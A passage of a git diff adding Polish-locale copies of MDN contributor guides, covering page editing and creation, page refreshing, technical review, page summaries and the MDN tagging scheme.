+<p>The 'On this Page' section of an article, is an auto-generated list of links to the headings on the page. The wording of these can be edited via the headings. It's also possible to remove a table of contents or decrease its number of links, by selecting 'Edit Page Title and Properties', changing the value of the "TOC" drop down.</p>
+
+<h3 id="Tags">Tags</h3>
+
+<p>You can add or remove tags, which describe the page content and purpose, below the editing section. See <a href="/en-US/docs/MDN/Contribute/Tagging">How to properly tag pages</a>, for information on which tags to apply.</p>
+
+<h3 id="Review_needed">Review needed?</h3>
+
+<p>If an expert or experienced contributor should review your edits, please request a technical review (for code, API's, or technologies), and/or an editorial review (for prose, grammar, and content), making sure the appropriate box is checked before you save.</p>
+
+<h3 id="Attach_files">Attach files</h3>
+
+<p>Attaching files requires a special user privilege. See <a href="/en-US/docs/MDN/Contribute/Editor/Basics/Attachments">Attachments in the MDN editor</a> for details, including how to request the upload privilege.</p>
+
+<h3 id="Publish_Discard_or_Keep_editing">Publish, Discard, or Keep editing</h3>
+
+<p>When you finish editing and are happy with your preview, publish your work and comments by clicking the <em>green</em> <strong>Publish</strong> button, to the <strong>right of the page title</strong>, or towards the <strong>bottom of the page</strong>. If you wish to continue working, click <strong>Publish and keep editing</strong>, which publishes your changes and keeps the edit interface open.</p>
+
+<p>If you change your mind, you can discard edits, by clicking the <em>red</em> <strong>Discard</strong> button. Note that discarding changes <em>permanently</em> discards them.</p>
+
+<p>Pressing <strong>Enter</strong> in the Revision Comment field is equivalent to clicking <strong>Publish and Keep Editing</strong>.</p>
+
+<div class="note">
+<p>Note: If attempting to save, but changes are rejected as invalid, and you feel the content is appropriate for MDN, <a href="mailto:mdn-admins@mozilla.com?subject=MDN%3A%20Content%20Rejection%20Appeal&amp;body=%3CDescribe%20the%20content%20you%20were%20trying%20to%20save%20and%20where%20you%20were%20trying%20to%20place%20it.%3E">email the MDN admin team</a> for assistance.</p>
+</div>
+
+<h2 id="Getting_page-creation_permissions">Getting page-creation permissions</h2>
+
+<p>For security reasons, newly-created accounts don't have the ability to create new pages. If you try to do so, you'll see a page instructing you how to get the page created. There are two options:</p>
+
+<ul>
+ <li><strong>Ask for the page to be created for you.</strong> To do this, <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&amp;projects=mdn/sprints/2&amp;labels=user-report">file a documentation request issue</a>, with the title "Create page: &lt;page title&gt;". Fill out the URL field of the template with the location on MDN where you'd like the page to go if you know where to place it. In the comment text, include information on why this page needs creating.</li>
+ <li><strong>Request page creation privileges.</strong> If you request page creation privileges, and they're granted to you, you'll be able to add new pages by following the instructions here. To request these privileges, <a href="mailto:mdn-admins@mozilla.org">email the MDN admin</a> team with your request. Include your username, why you would like to have the ability to create new pages. For instance, you're documenting a new API which involves many new pages, or you'd like to add new terms to the glossary. You should also have made useful contributions to this site's content, and been a contributor for some time. This length of time, and the other factors are collectively considered.</li>
+</ul>
+
+<h2 id="Creating_a_new_page">Creating a new page</h2>
+
+<p>Once you have page-creation permission, you can begin creating pages.</p>
+
+<p>If you do not know where to place a new article, <strong>do not worry.</strong> Put it anywhere, we will find it, move to where it belongs, or merge it into existing content. Whatever makes the most sense. Do not worry about making it perfect. We have happy helper gnomes who help to make your content clean and rather luscious.</p>
+
+<p>There are a few ways to create a new page:</p>
+
+<ul>
+ <li><a href="#Missing_page_link">'Missing page' link.</a></li>
+ <li><a href="#New_page_without_link">New page without a link.</a></li>
+ <li><a href="#Subpage_of_an_existing_page">A subpage of an existing page.</a></li>
+ <li><a href="#Clone_of_an_existing_page">Clone of an existing page.</a></li>
+ <li><a href="#Link_from_an_existing_page">Link from an existing page.</a></li>
+</ul>
+
+<h3 id="Missing_page_link">'Missing page' link</h3>
+
+<p>As with most wikis, it is possible to create a link to a page that is yet to exist. For example, an author might create a list of all the members of an API, before creating the pages for those members. On MDN, links to non-existent pages are typically displayed in red.</p>
+
+<p>To create a page from a 'missing page' link:</p>
+
+<ol>
+ <li>Log into MDN, and have page-creation permission. If not logged in, clicking a 'missing page' link results in a 404 (page not found) error.</li>
+ <li>Click the 'missing page' link. If you have page creation permission, the <a href="/en-US/docs/MDN/Contribute/Editor">MDN Editor UI</a> opens, ready for you to create the missing page.</li>
+ <li>Write the content of the page, and save it.</li>
+</ol>
+
+<h3 id="New_page_without_link">New page without link</h3>
+
+<p><em>To create a new page without linking from another page</em>, enter a unique page name in the URL field of your browser. For example, if you enter:</p>
+
+<pre class="language-html notranslate">https://wiki.developer.mozilla.org/en-US/docs/FooBar</pre>
+
+<p>MDN Creates a new page, with the title "FooBar", opening the editor for you to add new content. Refer to the <a href="#Editing_an_existing_page">Editing an existing page</a> section of this article, for information on how to use the editor mode.</p>
+
+<p><em>To create a new page without linking from another page</em>:</p>
+
+<ol>
+ <li>Log in, and have page-creation permission.</li>
+ <li>Enter the following in the URL field of your browser:</li>
+</ol>
+
+<pre class="language-html notranslate">https://wiki.developer.mozilla.org/en-US/docs/new</pre>
+
+<p>MDN Creates a new page, with a place for a title, opening the editor to add new content to this page. Refer to <a href="#Editing_an_existing_page">Editing an existing page</a>, for information on using editor mode.</p>
+
+<h3 id="Subpage_of_an_existing_page">Subpage of an existing page</h3>
+
+<p>To create a page you want to be below an existing page, in the page hierarchy:</p>
+
+<ol>
+ <li>If needed, navigate to the wiki site by clicking <strong>Edit in wiki</strong> in the article header.</li>
+ <li>On the 'parent' page, click the <strong>Advanced</strong> menu (the gear icon in the toolbar), then click <strong>New sub-page</strong>.</li>
+ <li>An editor view opens for creating a new document.</li>
+ <li>Add a title for this document, in the <strong>Title</strong> field.</li>
+ <li>Change the <strong>Slug</strong> field, if needed. For example, if the title is long, and a shorter URL seems appropriate. This field is automatically filled by the editor, substituting underscores for spaces found in the title, changing only the last part of the URL.</li>
+ <li>In the <strong>TOC</strong> field, select heading levels you want to be displayed in the table of contents for the page. Or select 'No table of contents', if one is not needed.</li>
+ <li>Write content of the page in the editor pane, saving your changes. Refer to <a href="#Editing_an_existing_page">Editing an existing page</a>, for further information on using editor mode.</li>
+</ol>
+
+<h3 id="Clone_of_an_existing_page">Clone of an existing page</h3>
+
+<p>If there is an existing page, whose format you wish to use as a base for your new page, you can 'clone' that page, and then change its content.</p>
+
+<ol>
+ <li>If needed, navigate to the wiki site by clicking <strong>Edit in wiki</strong> in the article header.</li>
+ <li>On the original page, click the <strong>Advanced</strong> menu (the gear icon in the toolbar), and click <strong>Clone this page</strong>. An editor view opens, for creating a new document.</li>
+ <li>Change the <strong>Title</strong> of the page, as appropriate for the new content. The <strong>Slug</strong> field is updated automatically as you change the <strong>Title</strong> field.</li>
+ <li>Change the path portion of the <strong>Slug</strong> field, as needed, to put the new document in a different location in the document hierarchy. In most cases, this is not needed. A cloned page often has similar content to its original, and need to be in a similar location.</li>
+ <li>In the <strong>TOC</strong> field, select the heading levels you want to be automatically displayed in the table of contents for this page. Or select 'No table of contents', if one is not needed.</li>
+ <li>Write your content in the editor pane, saving your changes. Refer to <a href="#Editing_an_existing_page">Editing an existing page</a>, for more information on using editor mode.</li>
+</ol>
+
+<h3 id="Link_from_an_existing_page">Link from an existing page</h3>
+
+<p>This is a bit of a hybrid. You can create a link on another page, then click the link you just inserted, to create the new page:</p>
+
+<ol>
+ <li>Enter the name of your new page, anywhere that makes sense in the text of an existing page.</li>
+ <li>Highlight this new name, and <strong>click the Link icon (<img alt="" src="https://developer.mozilla.org/files/3810/link-icon.png" style="float: left; height: 28px; width: 29px;">) </strong>in the editor's toolbar. The <strong>'Update Link'</strong> dialog opens, with the highlighted text in the <strong>'Link To'</strong> field.</li>
+ <li><strong>"/en-US/docs/"</strong> is inserted by default, to the beginning of the URL field.<em> Enter the name </em>of the page after "/en-US/docs/". The page name does not have to be the same as the link text.</li>
+ <li>Click <strong>OK</strong>, to create and insert the link.</li>
+</ol>
+
+<p>If the page does not yet exist, the link is displayed in red. If the page <em>does</em> exist, the link is displayed blue. If you want to create a new page, but the page title you desire is already taken, check if it makes sense helping edit and improve the page already there. Otherwise, think of a unique title for your new page, and create a link for it. Refer to <a href="https://developer.mozilla.org/Project:en/Page_Naming_Guide" title="Project:en/Page_Naming_Guide">page naming guide</a> for guidelines.</p>
+
+<p>To add content to your new page, click on the red link you just created, after saving and closing the editor. The new page opens in editor mode, enabling you to start writing. Refer to <a href="#Editing_an_existing_page">Editing an existing page</a>, for further information on using editor mode.</p>
+
+<h2 id="Refreshing_page_content">Refreshing page content</h2>
+
+<p>MDN support of KumaScript macros, and integration of content from other pages can sometimes be hampered by the need for caching of pages, for performance reasons. Pages are built from their source, and this output is cached for future requests. From that moment on, any macros (templates), or integrations (using the macro<span class="templateLink"><code><a href="https://developer.mozilla.org/en-US/docs/Template:Page">Page</a></code></span>), will not reflect later changes made to the macro, its output, or the contents of the integrated material.</p>
+
+<ul>
+ <li>To manually update a page, force-refresh your Web browser. MDN detects this, triggering a page rebuild, pulling in updated macro output, and integrating page content.</li>
+ <li>You can also configure pages to periodically rebuild, automatically. This should not be done unless you expect the page to update frequently. See <a href="/en-US/docs/MDN/Contribute/Tools/Page_regeneration">Page regeneration</a>, for detailed information.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/MDN/Contribute/Editor">MDN editor guide</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute/Content/Style_guide">MDN style guide</a></li>
+</ul>
diff --git a/files/pl/mdn/contribute/howto/do_a_technical_review/index.html b/files/pl/mdn/contribute/howto/do_a_technical_review/index.html
new file mode 100644
index 0000000000..624ea0dc0d
--- /dev/null
+++ b/files/pl/mdn/contribute/howto/do_a_technical_review/index.html
@@ -0,0 +1,49 @@
+---
+title: How to do a technical review
+slug: MDN/Contribute/Howto/Do_a_technical_review
+translation_of: MDN/Contribute/Howto/Do_a_technical_review
+---
+<div>{{MDNSidebar}}</div><p class="summary"><strong>Technical review</strong> consists of reviewing the technical accuracy and completeness of an article, and correcting it if necessary. If a writer of an article wants someone else to check the technical content of an article, the writer ticks the "Technical review" checkbox while editing. Often the writer contacts a specific engineer to perform the technical review, but anyone with technical expertise in the topic can do one.</p>
+
+<p><span class="seoSummary">This article describes how to go about performing a technical review, thereby helping to ensure that MDN's content is accurate.</span></p>
+
+<dl>
+ <dt>What is the task?</dt>
+ <dd>Reviewing and correcting of articles for technical accuracy and completeness.</dd>
+ <dt>Where does it need to be done?</dt>
+ <dd>In specific articles that are marked as requiring a <a href="/en-US/docs/needs-review/technical">technical review</a>.</dd>
+ <dt>What do you need to know to do the task?</dt>
+ <dd>
+ <ul>
+ <li>Expert knowledge of the topic of the article you are reviewing.</li>
+ <li>Ability to edit a wiki article on MDN.</li>
+ </ul>
+ </dd>
+ <dt>What are the steps to do it?</dt>
+ <dd>
+ <ol>
+ <li>Pick an article to review:
+ <ol>
+ <li>Go to the list of pages that need <a href="/en-US/docs/needs-review/technical">technical reviews</a>. This lists all the pages for which an technical review has been requested.</li>
+ <li>Choose a page whose topic you are very familiar with.</li>
+ <li>Click on the article link to load the page.</li>
+ </ol>
+ </li>
+ <li><a id="core-steps" name="core-steps"></a>Read the article, paying close attention to technical details: Is the article correct? Is there anything missing? Don't hesitate to switch to a different page if the first one you choose doesn't suit you.</li>
+ <li>If there are no errors, you don't need to edit the article to mark it as reviewed. Look for the "quick review" box in the left sidebar of the page. This yellow box lists any pending reviews and lets you clear their review request flag. It looks like this if a technical review has been requested:<br>
+ <img alt="Screenshot of the sidebar's box listing reviews that have been requested and allowing the flags to be changed." src="https://mdn.mozillademos.org/files/13016/SidebarTechReviewRequested.png"></li>
+ <li>Deselect the <strong>Technical</strong> checkbox, and click <strong>Save</strong>.</li>
+ <li>If you find errors that need to be corrected, you'll be glad to know that you can also change the review request status from within the editor. Here's the workflow:
+ <ol>
+ <li>To edit the page, click the <strong>Edit</strong> button near the top of the page; this puts you into the <a href="/en-US/docs/MDN/Contribute/Editor">MDN editor</a>.</li>
+ <li>Fix any technical information is not correct, and/or add any important information that is missing.</li>
+ <li>Enter a <strong>Revision Comment</strong> at the bottom of the article. This is a brief message that describes what you did, like '<em>Technical review completed.</em>' If you corrected information, include that in your comment, for example <em>'Technical review and fixed parameter descriptions.'</em> This helps other contributors and site editors know what you changed and why.</li>
+ <li>Deselect<em> </em>the <strong>Technical</strong> box under <strong>Review Needed?</strong> just below the Revision Comment area of the page.</li>
+ <li>Click the <strong>PUBLISH</strong> button.</li>
+ </ol>
+ </li>
+ </ol>
+
+ <p>Congratulations! You've finished your first technical review! Thank you for your help!</p>
+ </dd>
+</dl>
diff --git a/files/pl/mdn/contribute/howto/index.html b/files/pl/mdn/contribute/howto/index.html
new file mode 100644
index 0000000000..650f2b8f59
--- /dev/null
+++ b/files/pl/mdn/contribute/howto/index.html
@@ -0,0 +1,13 @@
+---
+title: How-to guides
+slug: MDN/Contribute/Howto
+tags:
+ - Documentation
+ - Landing
+ - MDN
+ - NeedsTranslation
+ - TopicStub
+translation_of: MDN/Contribute/Howto
+---
+<div>{{MDNSidebar}}</div><p>These articles provide step-by-step guides to accomplishing specific goals when contributing to MDN.</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pl/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/pl/mdn/contribute/howto/set_the_summary_for_a_page/index.html
new file mode 100644
index 0000000000..e3c2632242
--- /dev/null
+++ b/files/pl/mdn/contribute/howto/set_the_summary_for_a_page/index.html
@@ -0,0 +1,50 @@
+---
+title: How to set the summary for a page
+slug: MDN/Contribute/Howto/Set_the_summary_for_a_page
+translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary">Możesz opracować streszczenie strony MDN. Twoje streszczenie zostanie potem wykorzystane w wielu miejscach: w wynikach wyszukiwania, na innych stronach MDN, takich jak np. strony tematyczne, oraz w dymkach z podpowiedziami.</span> Twój tekst powinien być zrozumiały zarówno jako fragment oryginalnej strony, jak i wtedy, gdy zostanie wyrwany z kontekstu i wyświetlony samodzielnie na innej stronie.</p>
+<p>Każda strona może mieć zdefiniowane streszczenie. Jeśli jednak go nie ma, streszczenie jest tworzone automatycznie na podstawie pierwszych paru zdań tekstu. Niestety to nie zawsze jest najlepszy wybór.</p>
+<table class="full-width-table">
+ <tbody>
+ <tr>
+ <td><strong>Na czym polega zadanie?</strong></td>
+ <td>Zadanie polega na zaznaczaniu takiego fragmentu tekstu na stronie, który mógłby posłużyć jako streszczenie strony do wykorzystania w innych kontekstach. Może się zdarzyć, że trzeba będzie ten tekst napisać.</td>
+ </tr>
+ <tr>
+ <td><strong>Gdzie możesz to zrobić?</strong></td>
+ <td>Na stronach, które nie mają streszczenia lub pozostawia ono wiele do życzenia.</td>
+ </tr>
+ <tr>
+ <td><b>Jakich umiejętności potrzebujesz?</b></td>
+ <td>Umiejętność obsługi edytora MDN; umiejętność pisania tekstów; na tyle biegła znajomość omawianych tematów, żeby napisać sensowne streszczenie.</td>
+ </tr>
+ <tr>
+ <td><strong>What are the steps to do it?</strong></td>
+ <td>
+ <ol>
+ <li>Pick a page on which to set the summary:
+ <ol>
+ <li>In the <a href="/en-US/docs/MDN/Doc_status">MDN documentation status</a> page, click the link under <strong>Sections</strong> for a topic that you know something about (for example, HTML):<br>
+ <img alt="" height="130" src="https://mdn.mozillademos.org/files/8681/sections.png" width="504"></li>
+ <li>On the topic's documentation status page, click the <strong>Pages</strong> header in the <strong>Summary</strong> table. This takes you to an index of all the pages in that topic section; it shows the page links in the left column, and the tags and summaries in the right column:<br>
+ <img alt="" height="82" src="https://mdn.mozillademos.org/files/8675/pages.png" width="361"></li>
+ <li>Pick a page that is missing a summary, or that has a poor summary:<br>
+ <img alt="" height="38" src="https://mdn.mozillademos.org/files/8677/summary.png" width="296"></li>
+ <li>Click the link to go to that page.</li>
+ </ol>
+ </li>
+ <li>Click <strong>Edit</strong> to open the page in the MDN editor.</li>
+ <li>Look for a sentence or two that works as a summary out of context. If needed, edit the existing content to create or modify sentences to be a good summary.</li>
+ <li>Select the text to be used as a summary.</li>
+ <li>In the <em>Styles</em> widget of the editor toolbar, select <strong>SEO Summary</strong>. (In the page source, this creates a {{HTMLElement("span")}} element with <code>class="seoSummary"</code> around the selected text.)<br>
+ <img alt="" height="231" src="https://mdn.mozillademos.org/files/8679/styles.png" width="403"></li>
+ <li>Save your changes with a revision comment like "Set the page summary."</li>
+ </ol>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
+<p> </p>
+<p> </p>
diff --git a/files/pl/mdn/contribute/howto/tag/index.html b/files/pl/mdn/contribute/howto/tag/index.html
new file mode 100644
index 0000000000..8cfb4c7145
--- /dev/null
+++ b/files/pl/mdn/contribute/howto/tag/index.html
@@ -0,0 +1,376 @@
+---
+title: How to properly tag pages
+slug: MDN/Contribute/Howto/Tag
+translation_of: MDN/Contribute/Howto/Tag
+---
+<div>{{MDNSidebar}}</div><p><strong>Article tags</strong> are an important way to put visitors in touch with helpful content. Each page should normally have several tags to help keep content organized. <span class="seoSummary">This page explains the best way to tag pages so that our readers can find information and we can keep ourselves organized.</span></p>
+
+<p>For a help with the user interface for editing tags, see the <a href="/en-US/docs/MDN/Contribute/Editor/Basics#The_tags_box">tagging section</a> in our editor guide.</p>
+
+<p>Please use tags properly as explained below. If you don't, our automated tools will not correctly generate lists of content, landing pages, and cross-linking of articles.</p>
+
+<h2 id="How_MDN_uses_tags">How MDN uses tags</h2>
+
+<p>Tags get used on MDN several ways:</p>
+
+<dl>
+ <dt>Document categorization</dt>
+ <dd>What type of document is it? Is it a reference? A tutorial? A landing page? Our visitors can use these tags to filter searches, so they're really important!</dd>
+ <dt>Topic identification</dt>
+ <dd>What is the article about? Is it about an API? The DOM? Graphics? Again, these tags are important because they can filter searches.</dd>
+ <dt>Technology status</dt>
+ <dd>What's the status of the technology? Is it non-standard? Obsolete or deprecated? Experimental?</dd>
+ <dt>Skill level</dt>
+ <dd>For tutorials and guides, how advanced is the material covered by the article?</dd>
+ <dt>Document metadata</dt>
+ <dd>The writing community uses tags to keep track of which pages need what kind of work.</dd>
+</dl>
+
+<h2 id="Tag_type_guide">Tag type guide</h2>
+
+<p>Here's a quick guide to the types of tags and possible values for them.</p>
+
+<h3 id="Document_category">Document category</h3>
+
+<p>When you tag an article with one of these categories, you help the automated tools more accurately generate landing pages, tables of contents, and so on. Our new search system will also use these terms so that our visitors can locate reference or guide information at will.</p>
+
+<p>We use the following category names as standard tagging terms:</p>
+
+<dl>
+ <dt><code>{{Tag("Intro")}}</code></dt>
+ <dd>The article provides introductory material about a topic. Ideally each technology area should have only one "Intro".</dd>
+ <dt><code>{{Tag("Featured")}}</code></dt>
+ <dd>The article is critical and will display prominently on landing pages. Use this tag sparingly (never more than three documents in each documentation area).</dd>
+ <dt><code>{{Tag("Reference")}}</code></dt>
+ <dd>The article contains reference material about an API, element, attribute, property, or the like.</dd>
+ <dt><code>{{Tag("Landing")}}</code></dt>
+ <dd>The page is a landing page.</dd>
+ <dt><code>{{Tag("Guide")}}</code></dt>
+ <dd>The article is a how-to or guide page.</dd>
+ <dt><code>{{Tag("Example")}}</code></dt>
+ <dd>The article is a code sample page, or has code samples (that is, actual snippets of useful code, not one-line "syntax examples").</dd>
+</dl>
+
+<h3 id="Topic">Topic</h3>
+
+<p>By identifying the article's topic area, you are helping generate better search results (and landing pages and navigation as well).</p>
+
+<p>While there's some room for flexibility here as we identify new topic areas, we try to limit ourselves to the names of APIs or technologies. Some useful examples:</p>
+
+<ul>
+ <li><code>{{Tag("HTML")}}</code></li>
+ <li><code>{{Tag("CSS")}}</code></li>
+ <li><code>{{Tag("JavaScript")}}</code> (notice the capital "S"!)</li>
+ <li><code>{{Tag("Document")}}</code></li>
+ <li><code>{{Tag("DOM")}}</code></li>
+ <li><code>{{Tag("API")}}</code> for each interface, method and property.</li>
+ <li><code>{{Tag("Method")}}</code> for each method of an API</li>
+ <li><code>{{Tag("Property")}}</code> for each property of an API</li>
+ <li><code>{{Tag("Graphics")}}</code></li>
+ <li><code>{{Tag("Firefox OS")}}</code></li>
+ <li><code>{{Tag("Gecko")}}</code></li>
+ <li><code>{{Tag("XUL")}}</code></li>
+ <li><code>{{Tag("XPCOM")}}</code></li>
+ <li><code>{{Tag("SVG")}}</code></li>
+ <li><code>{{Tag("WebGL")}}</code></li>
+ <li><code>{{Tag("Element")}}</code></li>
+ <li><code>{{Tag("Node")}}</code></li>
+ <li><code>{{Tag("Tools")}}</code></li>
+ <li><code>{{Tag("Web")}}</code></li>
+</ul>
+
+<p>In general, your topic identification tag should be the name of an interface with a number of related pages (like <a href="/en-US/docs/Web/API/Node" title="/en-US/docs/Web/API/Node">Node</a>, which has many pages for its various properties and methods), or the name of an overall technology type. You might tag a page about WebGL with <code>Graphics</code> and <code>WebGL</code>, for example, but a page about {{HTMLElement("canvas")}} with <code>HTML</code>, <code>Element</code>, <code>Canvas</code>, and <code>Graphics</code>.</p>
+
+<h3 id="Technology_status">Technology status</h3>
+
+<p>To help the reader understand how viable a technology is, we use tags to label pages as to the status of the technology's specification. This isn't as detailed as actually explaining what the spec is and how far the technology has come in the specification process (that's what the Specifications table is for), but it helps the reader judge, at a glance, whether it's a good idea to use the technology described in the article.</p>
+
+<p>Here are possible values for these tags:</p>
+
+<dl>
+ <dt><code>{{Tag("Non-standard")}}</code></dt>
+ <dd>Indicates that the technology or API described on the page is not part of a standard, but is considered stable in any implementing browser(s). If you don't use this tag, your readers will assume the technology is standard. The compatibility table on the page should clarify which browser(s) support this technology or API.</dd>
+ <dt><code>{{Tag("Deprecated")}}</code></dt>
+ <dd>The technology or API covered on the page is marked as deprecated in the specification, and is likely to eventually be removed, but is generally still available in current versions of browsers.</dd>
+ <dt><code>{{Tag("Obsolete")}}</code></dt>
+ <dd>The technology or API has been deemed obsolete and has been removed (or actively being removed) from all or most current browsers.</dd>
+ <dt><code>{{Tag("Experimental")}}</code></dt>
+ <dd>The technology is not standardized, and is an experimental technology or API that may or may not ever become part of a standard. It is also subject to change in the browser engine (typically only one) that implements it.</dd>
+ <dt><code>{{Tag("Needs Privileges")}}</code></dt>
+ <dd>The API requires privileged access to the device on which the code is running.</dd>
+ <dt><code>{{Tag("Certified Only")}}</code></dt>
+ <dd>The API only works in certified code.</dd>
+</dl>
+
+<p>These tags are no excuse to leave out the <a href="/en-US/docs/Project:Compatibility_tables" title="/en-US/docs/Project:Compatibility_tables">compatibility table</a> in your article!</p>
+
+<h3 id="Skill_level">Skill level</h3>
+
+<p>Use the skill-level tag type only for guides and tutorials (that is, pages tagged <code>Guide</code>) to help users choose tutorials based on how familiar they are with a technology. There are three values for this:</p>
+
+<dl>
+ <dt><code>{{Tag("Beginner")}}</code></dt>
+ <dd>Articles designed to introduce the reader to a technology they've never used or have only a passing familiarity with.</dd>
+ <dt><code>{{Tag("Intermediate")}}</code></dt>
+ <dd>Articles for users who have gotten started with the technology but aren't experts.</dd>
+ <dt><code>{{Tag("Advanced")}}</code></dt>
+ <dd>Articles about stretching the capabilities of a technology and of the reader.</dd>
+</dl>
+
+<h3 id="Document_metadata">Document metadata</h3>
+
+<p>The writing community uses tags to label articles as requiring specific types of work. Here's a list of the ones we use most:</p>
+
+<dl>
+ <dt><code>{{Tag("junk")}}</code></dt>
+ <dd>The article needs to be deleted.</dd>
+ <dt><code>{{Tag("NeedsContent")}}</code></dt>
+ <dd>The article is a stub, or is otherwise lacking information. This tag means that someone should review the content and add more details and/or finish writing the article.</dd>
+ <dt><code>{{Tag("NeedsExample")}}</code></dt>
+ <dd>The article needs one or more examples created to help illustrate the article's point. These examples should use the <a href="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples" title="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">live sample system</a>.</dd>
+ <dt><code>{{Tag("NeedsLiveSamples")}}</code></dt>
+ <dd>The article has one or more examples that need to be updated to use the <a href="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples" title="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">live sample system</a>.</dd>
+ <dt><code>{{Tag("NeedsUpdate")}}</code></dt>
+ <dd>The content is out of date and needs to updating.</dd>
+ <dt><code>{{Tag("l10n:exclude")}}</code></dt>
+ <dd>The content is not really worth localizing and will not appear on localization status pages.</dd>
+ <dt><code>{{Tag("l10n:priority")}}</code></dt>
+ <dd>The content is important and should be marked as a priority for MDN translators. Shows up in an extra priority table on localization status pages.</dd>
+</dl>
+
+<h3 id="Web_Literacy_Map">Web Literacy Map</h3>
+
+<p>The <a href="https://webmaker.org" rel="external">WebMaker</a> project, through the <a href="https://webmaker.org/literacy" rel="external">Web Literacy Map</a>, has defined skills needed to optimally read, write, and participate on the Web. We use Web literacy skills as tags on MDN to help our users find the resources that best suit their needs:</p>
+
+<dl>
+ <dt>{{Tag("Navigation")}}</dt>
+ <dd>The article includes information about how to browse the Web.</dd>
+ <dt>{{Tag("WebMechanics")}}</dt>
+ <dd>The content has information about how the Web is organized and how it works.</dd>
+ <dt>{{Tag("Search")}}</dt>
+ <dd>The article explains how to find information, people, and resources on the Web.</dd>
+ <dt>{{Tag("Credibility")}}</dt>
+ <dd>The information in the article helps the reader understand how to critically evaluate information they find on the Web</dd>
+ <dt>{{Tag("Security")}}</dt>
+ <dd>The article provides information about how to keep systems, identities, and content safe.</dd>
+ <dt>{{Tag("Composing")}}</dt>
+ <dd>The document explains how to create and curate content for the Web.</dd>
+ <dt>{{Tag("Remixing")}}</dt>
+ <dd>The article teaches how to modify existing Web resources to create something new.</dd>
+ <dt>{{Tag("Design")}}</dt>
+ <dd>Documentation explaining how to enhance visual aesthetics and user experience.</dd>
+ <dt>{{Tag("Accessibility")}}</dt>
+ <dd>Documents which describe how to communicate in a universally-recognizable way.</dd>
+ <dt>{{Tag("CodingScripting")}}</dt>
+ <dd>How to write code and/or to create interactive experiences on the Web.</dd>
+ <dt>{{Tag("Infrastructure")}}</dt>
+ <dd>The document explains how the Internet's technical stack works.</dd>
+ <dt>{{Tag("Sharing")}}</dt>
+ <dd>The article's content covers ways to create resources with others.</dd>
+ <dt>{{Tag("Collaborating")}}</dt>
+ <dd>The document provides information about how to work with other people.</dd>
+ <dt>{{Tag("Community")}}</dt>
+ <dd>The article details how to get involved in Web communities and to understand how they work.</dd>
+ <dt>{{Tag("Privacy")}}</dt>
+ <dd>The material helps to examine the consequences of sharing data online.</dd>
+ <dt>{{Tag("OpenPractices")}}</dt>
+ <dd>The article provid=deshow to help keep the Web accessible to everybody</dd>
+</dl>
+
+<h2 id="Putting_it_all_together">Putting it all together</h2>
+
+<p>So to each page you assign tags from several tag types, for example</p>
+
+<dl>
+ <dt>A tutorial about WebGL for beginners</dt>
+ <dd><code>WebGL</code>, <code>Graphics</code>, <code>Guide</code>, <code>Beginner</code></dd>
+ <dt>Reference page for {{HTMLElement("canvas")}}</dt>
+ <dd><code>Canvas</code>, <code>HTML</code>, <code>Element</code>, <code>Graphics,</code> <code>Reference</code></dd>
+ <dt>A landing page for Firefox OS developer tools</dt>
+ <dd><code>Tools</code>, <code>Firefox OS</code>, <code>Landing</code></dd>
+</dl>
+
+<h2 id="Tagging_and_search_filters">Tagging and search filters</h2>
+
+<p>Search filters won't work properly unless we tag MDN pages properly. Here's a table of search filters and which tags they look for.</p>
+
+<div class="note">
+<p><strong>Note:</strong> If multiple tags are listed under "Tag name," that means any one or more of these tags must be present for the article to match.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Filter group</th>
+ <th scope="col">Search filter name</th>
+ <th scope="col">Tag name</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>Topic</th>
+ <td>Open Web Apps</td>
+ <td>{{Tag("Apps")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>HTML</td>
+ <td>{{Tag("HTML")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>CSS</td>
+ <td>{{Tag("CSS")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>JavaScript</td>
+ <td>{{Tag("JavaScript")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>APIs and DOM</td>
+ <td>{{Tag("API")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Canvas</td>
+ <td>{{Tag("Canvas")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>SVG</td>
+ <td>{{Tag("SVG")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>MathML</td>
+ <td>{{Tag("MathML")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>WebGL</td>
+ <td>{{Tag("WebGL")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>XUL</td>
+ <td>{{Tag("XUL")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Marketplace</td>
+ <td>{{Tag("Marketplace")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Firefox</td>
+ <td>{{Tag("Firefox")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Firefox for Android</td>
+ <td>{{Tag("Firefox Mobile")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Firefox for Desktop</td>
+ <td>{{Tag("Firefox Desktop")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Firefox OS</td>
+ <td>{{Tag("Firefox OS")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Mobile</td>
+ <td>{{Tag("Mobile")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Web Development</td>
+ <td>{{Tag("Web Development")}}</td>
+ </tr>
+ <tr>
+ <th> </th>
+ <td>Add-ons &amp; Extensions</td>
